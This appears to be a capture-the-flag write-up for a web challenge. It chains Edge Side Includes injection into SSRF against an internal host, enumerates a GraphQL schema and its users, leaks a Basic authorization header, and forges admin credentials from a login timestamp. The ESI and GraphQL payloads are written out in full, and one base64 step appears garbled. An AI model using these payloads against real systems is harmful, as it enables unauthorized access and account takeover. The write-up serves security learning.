Initial exploration shows there is a contact page that stores our message before sending it (disabled button)
On the response headers there is a nice My Custom ESI Server, so maybe we are dealing with Edge Side Includes? https://www.keycdn.com/support/edge-side-includes
So this means probably dealing with ESI injection, here https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/ shows how the technique works.
Lets see if we can inject some includes <esi:include src="http://abt.com/hi/" />
Its working but thre is a whitelist
Lets see if we can ssrf and enumerate over the internal network with <esi%3ainclude+src%3d"http%3a//172.20.0.4:5000"+/>
And we have a kind response from the server saying hello:
After Checking files and directories not responding with 404 we end up with 2 matchs: test and robots.txt:
robots.txt is available showing 2 endpoints
/graphql and /test
Let's play with the graphql https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty/
First running an introspection query
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name+description+locations+args{...InputValue}}}}fragment+FullType+on+__Type{kind+name+description+fields(includeDeprecated%3atrue){name+description+args{...InputValue}type{...TypeRef}isDeprecated+deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated%3atrue){name+description+isDeprecated+deprecationReason}possibleTypes{...TypeRef}}fragment+InputValue+on+__InputValue{name+description+type{...TypeRef}defaultValue}fragment+TypeRef+on+__Type{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name}}}}}}}}
Instrospection was not working so let's enumerate https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql
{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
Response nicely formatted with jd:
{
"data": {
"__schema": {
"types": [
{
"fields": [
{
"args": [],
"name": "id"
},
{
"args": [],
"name": "username"
}
],
"name": "User"
},
{
"fields": null,
"name": "ID"
},
{
"fields": null,
"name": "String"
},
{
"fields": [
{
"args": [],
"name": "id"
},
{
"args": [],
"name": "admin"
},
{
"args": [],
"name": "username"
},
{
"args": [],
"name": "last_login"
}
],
"name": "UserExtended"
},
{
"fields": null,
"name": "Boolean"
},
{
"fields": [
{
"args": [],
"name": "success"
},
{
"args": [],
"name": "errors"
},
{
"args": [],
"name": "users"
}
],
"name": "UsersResult"
},
{
"fields": [
{
"args": [],
"name": "success"
},
{
"args": [],
"name": "errors"
},
{
"args": [],
"name": "user"
}
],
"name": "UserResult"
},
{
"fields": [
{
"args": [],
"name": "success"
},
{
"args": [],
"name": "errors"
},
{
"args": [],
"name": "flag"
}
],
"name": "FlagResult"
},
{
"fields": [
{
"args": [],
"name": "users"
},
{
"args": [
{
"description": null,
"name": "userId",
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "ID"
}
}
}
],
"name": "user"
},
{
"args": [],
"name": "flag"
}
],
"name": "Query"
},
{
"fields": [
{
"args": [],
"name": "description"
},
{
"args": [],
"name": "types"
},
{
"args": [],
"name": "queryType"
},
{
"args": [],
"name": "mutationType"
},
{
"args": [],
"name": "subscriptionType"
},
{
"args": [],
"name": "directives"
}
],
"name": "__Schema"
},
{
"fields": [
{
"args": [],
"name": "kind"
},
{
"args": [],
"name": "name"
},
{
"args": [],
"name": "description"
},
{
"args": [],
"name": "specifiedByURL"
},
{
"args": [
{
"description": null,
"name": "includeDeprecated",
"type": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
}
}
],
"name": "fields"
},
{
"args": [],
"name": "interfaces"
},
{
"args": [],
"name": "possibleTypes"
},
{
"args": [
{
"description": null,
"name": "includeDeprecated",
"type": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
}
}
],
"name": "enumValues"
},
{
"args": [
{
"description": null,
"name": "includeDeprecated",
"type": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
}
}
],
"name": "inputFields"
},
{
"args": [],
"name": "ofType"
}
],
"name": "__Type"
},
{
"fields": null,
"name": "__TypeKind"
},
{
"fields": [
{
"args": [],
"name": "name"
},
{
"args": [],
"name": "description"
},
{
"args": [
{
"description": null,
"name": "includeDeprecated",
"type": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
}
}
],
"name": "args"
},
{
"args": [],
"name": "type"
},
{
"args": [],
"name": "isDeprecated"
},
{
"args": [],
"name": "deprecationReason"
}
],
"name": "__Field"
},
{
"fields": [
{
"args": [],
"name": "name"
},
{
"args": [],
"name": "description"
},
{
"args": [],
"name": "type"
},
{
"args": [],
"name": "defaultValue"
},
{
"args": [],
"name": "isDeprecated"
},
{
"args": [],
"name": "deprecationReason"
}
],
"name": "__InputValue"
},
{
"fields": [
{
"args": [],
"name": "name"
},
{
"args": [],
"name": "description"
},
{
"args": [],
"name": "isDeprecated"
},
{
"args": [],
"name": "deprecationReason"
}
],
"name": "__EnumValue"
},
{
"fields": [
{
"args": [],
"name": "name"
},
{
"args": [],
"name": "description"
},
{
"args": [],
"name": "isRepeatable"
},
{
"args": [],
"name": "locations"
},
{
"args": [
{
"description": null,
"name": "includeDeprecated",
"type": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
}
}
],
"name": "args"
}
],
"name": "__Directive"
},
{
"fields": null,
"name": "__DirectiveLocation"
}
]
}
}
}
The schema is not very clear but there are some flags, users, user so lets start querying the endpoint
Going for the obvious in the schema there is a flag query so query={flag{flag}} is returning null, this is probably becasue this user doesnt have access to the flag. The queries are running as esi-user as reported in the /test endpoint
query={user} -> {"errors":[{"locations":[{"column":2,"line":1}],"message":"Field 'user' of type 'UserResult!' must have a selection of subfields. Did you mean 'user { ... }'?"},{"locations":[{"column":2,"line":1}],"message":"Field 'user' argument 'userId' of type 'ID!' is required, but it was not provided."}]}
Query to enum users:
query={user(userId:1){user{id,admin,username,last_login}}}
user1-> {"data":{"user":{"user":{"admin":true,"id":"1","last_login":"13-10-2022 10:25:11 - CEST","username":"admin"}}}}
query={user(userId:2){user{id,admin,username,last_login}}}
user2->{"data":{"user":{"user":{"admin":false,"id":"2","last_login":"11-10-2022 11:30:31 - CEST","username":"esi-user"}}}}
So far there are only 2 users admin and esi-user, we are now esi-user and the flag its probably on the admin user so let´s go back to /test and try to log as admin there. The endpoint is telling us that is a test endpoint to check headers
We start by injecting after the first include another esi like <esi header Authorization>
Getting back:
<esi:error hidden="">Attribute 'name' is mandatory for the 'esi:header' directive.</esi:error>
So lets test again with <esi%3aheader+name+Authorization"+/>
We got -> >Header not in whitelist. Headers allowed: ['Authorization', 'authorization'].<
<esi%3ainclude+src%3d"http%3a//172.20.0.4:5000/test"+/><<esi%3aheader+name%3d"Authorization">
This return the authorization header
That's the base64 of esi-user:1665480631
Meaning the password is 1665480631 knowing that on the graphql the only attributes for the user are id, username,admin,last_login and this number can be epox time lets check it
This is the last_login we had for the esi-user on graphql so lets convert the admin last_Login from the db to epox format ->
so lets enconde admin:1665649511 to b64 -> YWRtaW4=:MTY2NTY0OTUxMQ==
After trying to inject the Athorization header from the ESI without success setting this header on the initial request works and we were log as admin
Now we can try again the flag query : query={flag{flag}}
And voilá!